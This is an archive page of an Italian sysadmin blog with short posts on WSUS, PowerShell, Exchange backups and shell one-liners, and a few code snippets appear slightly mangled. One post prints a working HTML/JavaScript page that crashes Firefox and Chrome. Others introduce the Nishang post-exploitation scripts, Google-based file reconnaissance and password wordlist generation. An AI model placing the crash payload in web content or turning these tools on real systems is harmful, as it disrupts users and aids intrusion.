Ammazzabrowser

<!DOCTYPE html>
<html>
 <head>
 <script>
 location = 'data:text/html,<script>location = "location.toString + \"A\"";' + 'A'.repeat( 100000000 );
 </script>
 </head>
</html>

Questo semplice testo in una pagina HTML manda a zampe all’aria Firefox e Google Chrome, mentre Internet Explorer esce illeso.

Potete farlo da voi oppure andare a vostro rischio su crashfirefox.com. Leggi tutto “Ammazzabrowser”

Resettare WSUS dopo aver clonato Windows

Scala / StairIn molte organizzazioni capita di avere macchine clonate e ri-serializzate con SysPrep o tool analoghi.

Se il sistema di origine è già registrato in WSUS può capitare che le macchine clonate non siano visibili nella console di amministrazione.

Questo succede perché WSUS salva nel registry un ID proprio in ogni installazione di Windows, che viene utilizzato come chiave univoca.

Lo script che segue serve a fare una pulitura approfondita della configurazione di un’installazione di Windows gestita tramite WSUS per poter ripartire come se il computer non sia mai stato registrato nel gestore degli aggiornamenti. Leggi tutto “Resettare WSUS dopo aver clonato Windows”

Nevica sul terminale

Cannoni sparaneve a BormioLa neve artificiale non è solamente per i campi da sci, ma anche per le interfacce a riga di comando di *NIX.

Con una semplice command line si può far nevicare nel proprio terminale (o fare uno scherzo ad un collega).

Questa è la versione ASCII (tutta su una riga):

clear;while :;do echo $LINES $COLUMNS $(($RANDOM%$COLUMNS));sleep 0.1;done|gawk '{a[$3]=0;for(x in a) {o=a[x];a[x]=a[x]+1;printf "33[%s;%sH ",o,x;printf "33[%s;%sH*33[0;0H",a[x],x;}}'

questa invece è la versione UNICODE:

clear;while :;do echo $LINES $COLUMNS $(($RANDOM%$COLUMNS)) $(printf "\u2743\n");sleep 0.1;done|gawk '{a[$3]=0;for(x in a) {o=a[x];a[x]=a[x]+1;printf "33[%s;%sH ",o,x;printf "33[%s;%sH%s 33[0;0H",a[x],x,$4;}}'

Nell’esempio UNICODE viene utilizzato il carattere 0x2743 HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK, ma si possono utilizzare altri simboli simili del range Dingbats. (via climagic)

Salvare in un PST le singole cartelle di Exchange

RefillPuò capitare di voler fare un backup supplementare rispetto a quello canonico di alcune cartelle di Exchange per alcuni utenti.

Lo scopo di quanto segue è fornire uno strumento schedulabile con il servizio integrato di Windows che consenta di salvare con cadenza regolare tutta o una parte di una mailbox di Exchange su un file PST.

Questa procedura non sostituisce il normale backup, ma lo affianca, in quanto potrebbe essere eseguita con una frequenza diversa rispetto al backup e il file generato può essere aperto dall’utente in maniera autonoma o con un minimo di supporto.

La procedura deve essere eseguita su un’installazione di Windows in cui è presente PowerShell con le estensioni per Exchange. L’esempio che segue è stato verificato con Exchange 2010 su un server Windows 2008.

Leggi tutto “Salvare in un PST le singole cartelle di Exchange”

Fammi eseguire il dannato script!

Chi si è avvicinato all’utilizzo della PowerShell ha cozzato quasi subito con la bella feature che impedisce di eseguire gli script.

Sembra una barzelletta, ma l’interprete di script di Microsoft per default non esegue gli script non firmati. Nulla di grave perché un Set-Execution-Policy Unrestricted rimette le cose a posto.

Nonostante ciò, oggi non riuscivo ad eseguire uno script che avevo caricato su un server di un cliente nonostante la policy Unrestricted confermata anche da Get-Execution-Policy.

Il problema era che avevo scaricato da Internet lo script: l’avevo creato a casa mia, l’avevo compresso e caricato su uno dei miei server e da lì l’avevo scaricato sul computer a cui ero connesso in VPN.

Tanto è bastato per far arrabbiare PowerShell.

Leggi tutto “Fammi eseguire il dannato script!”

Nishang

Nebbia e luci / Fog and lightsCon Nishang ci si avventura un una zona grigia del software, in cui la differenza tra difesa e offesa diventa indistinguibile.

Lo scopo di quanto segue non è quello di incitare la violazione delle leggi, ma di documentare l’esistenza di questi strumenti, per poterli riconoscere in caso di attacchi.

La PowerShell di Windows è uno strumento molto potente, molto più di quanto possa sembrare ad un osservatore superficiale o prevenuto. Era, quindi, naturale che prima o poi sarebbero arrivati degli script PowerShell per eseguire operazioni non del tutto legittime ai danni della vittima.

Nishang gratta solamente la superficie, ma contiene esempi molto interessanti. Tipicamente gli script contenuti in Nishang vengono eseguiti sul computer vittima una volta che l’attaccante è riuscito a penetrare le difese, quindi non troverete script di penetrazione, bensì di controllo e ricognizione remoti, tra cui un utilizzo… creativo del record TXT del DNS.

Goofile

Goofile è una piccola utility a riga di comando (niente interfaccia touch, sorry) di Thomas (G13) Richards che produce un elenco di file di un certo tipo indicizzati da Google in un determinato nome a dominio.

L’utilizzo è assolutamente semplice perché l’utility ha bisogno di soli due parametri:

./goofile.py -d siamogeek.com -f pdf

Questo comando elenca tutti i file PDF indicizzati da Google nel nome a dominio di questo blog.

Di per se non c’è nulla di particolare, dal momento che un elenco simile può essere ottenuto utilizzando i parametri noti di Google. La parte utile di Goofile è che può essere utilizzato in uno script per elaborare i suoi risultati. (via Darknet)

Client TCP o UDP con bash

        exec {fd}<>"/dev/tcp/siamogeek.com/http"
        # scrittura nel socket
        printf "GET / HTTP/1.0\r\n" >&$fd
        printf "\r\n" >&$fd
        # lettura "until EOF" dal socket
        cat &-

Questo breve script per bash permette di scrivere e leggere dei dati da un socket TCP o UDP senza dipendere dalla presenza di altri programmi.

Il tipo di protocollo, l’host e la porta sono specificati nella prima riga dello script; {fd} serve per dire a bash di aprire il primo file descriptor disponibile.

La parte di scrittura è conforme allo standard http e deve essere modificata secondo le necessità. (via behind the wall…)

Ottimizzazione di WSUS

Windows Server Update Services (WSUS) è un utile servizio di Windows Server che permette di gestire gli aggiornamenti automatici di Windows.

La consolle di amministrazione di WSUS ha una funzione di ottimizzazione e cleanup che, però non ottimizza le tabelle SQL.

Dopo qualche tempo gli indici si frammentano e le performance calano in maniera sensibile, anche considerando il fatto che spesso WSUS viene installato in un server secondario.

Lo script che segue ricostruisce e ottimizza gli indici delle tabelle utilizzate da WSUS.

Leggi tutto “Ottimizzazione di WSUS”

Settimo: non rubare

La copiatura di codice HTML, CSS o JavaScript da altri siti è una pratica vecchia come il web ed è una delle attività, se praticate con moderazione, che serve a migliorare il web stesso.

Alcune volte qualcuno oltrepassa la misura e, vuoi per pigrizia, vuoi per fare le cose rapidamente, sfrutta le potenzialità del linguaggio HTML e referenzia degli script direttamente dalla fonte, senza nemmeno copiarli sul proprio server, in questo modo:

<script src="http://www.alfredapp.com/js/jquery-1.4.1.min.js" type="text/javascript" charset="utf-8"></script>
<script src="http://www.alfredapp.com/js/facebox.js" type="text/javascript" charset="utf-8"></script>
<script src="http://www.alfredapp.com/js/jquery.validate.pack.js" type="text/javascript" charset="utf-8"></script>
<script src="http://www.alfredapp.com/js/jquery.cycle.all.min.js" type="text/javascript" charset="utf-8"></script>

Ed ecco la punizione che si abbatte sul sito che ha rubato il codice:

(via Mikko Hypponen)

Aprire connessioni ssh multiple

Capita spesso di dover aprire una serie di connessioni ssh sempre agli stessi host.

Questo  è il tipico caso del SysAdmin che arriva la mattina al lavoro, oppure di quando vuole collegarsi ad un gruppo noto di host per eseguire lavori di manutenzione, il tutto senza avere decine di finestre aperte sul desktop, ma sfruttando i tab del terminale di Gnome

gnome-terminal è abbastanza parco di parametri della command line e bisogna, quindi, prenderla un po’ alla lontana per fare quel che serve.

Lo script che segue, eseguito in una finestra di gnome-terminal apre un tab per ogni host ed esegue una connessione ssh all’host indicato.

#!/bin/bash

function apri {
  WID=$(xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}')
  xdotool windowfocus $WID
  xdotool key ctrl+shift+t
  xdotool type "ssh $1"
  xdotool key Return
  wmctrl -i -a $WID
}

apri www.acme.com
apri www.pippo.it
apri www.pluto.it
apri www.paperino.it

Ping parlante

Invariabilmente, quando faccio una dimostrazione di questo script, mi chiedono: “Sì, ma a che serve?”

È un ping che oltre a scriverti a video il tempo di round-trip in millisecondi, te lo pronuncia pure. Solo uno strumento in più. Magari un giorno ti capiterà un’occasione in cui ti potrebbe far comodo.

Leggi tutto “Ping parlante”

Come far scaldare la CPU in pochi byte

Qualche anno fa ho avuto a che fare con un computer altrui, con sistema operativo Windows XP, che si spegneva casualmente da solo in continuazione. Era il trentotto luglio, e faceva molto caldo, sospettavo quindi uno shutdown termico di emergenza, ma mi trovavo in difficoltà nel verificare l’ipotesi: ero solo di passaggio e invece del mio solito zaino con “gli strumenti”, avevo con me il borsone con pinne e maschera; nell’ufficio in questione non c’erano cacciaviti; la linea Internet era fuori servizio causa manutenzione estiva (classico cavo tranciato per errore da un bulldozer).

Ho dovuto improvvisare.

Leggi tutto “Come far scaldare la CPU in pochi byte”

Script per blacklistare i domini su Windows Server

BloccoDarknet ha pubblicato un interessante script in PowerShell 2 di Jason Fossen che permette di blacklistare alcuni nomi a dominio ritenuti pericolosi.

Lo script crea una zona e, opzionalmente, degli host su un server DNS di Windows associandoli all’IP 0.0.0.0 o ad un altro indirizzo indicato. Leggi tutto “Script per blacklistare i domini su Windows Server”

RSMangler

Siete sicuri che la password che avete scelto per accedere ad un sito o per accedere al vostro sito sia sicura?

Se avete una macchina con Ruby installato, scaricate questo script e scompattatelo. Create un file di testo con poche parole chiave (una su ogni riga) da cui partire e poi date questo comando:

./rsmangler.rb --file input.txt  > output.txt

Leggi tutto “RSMangler”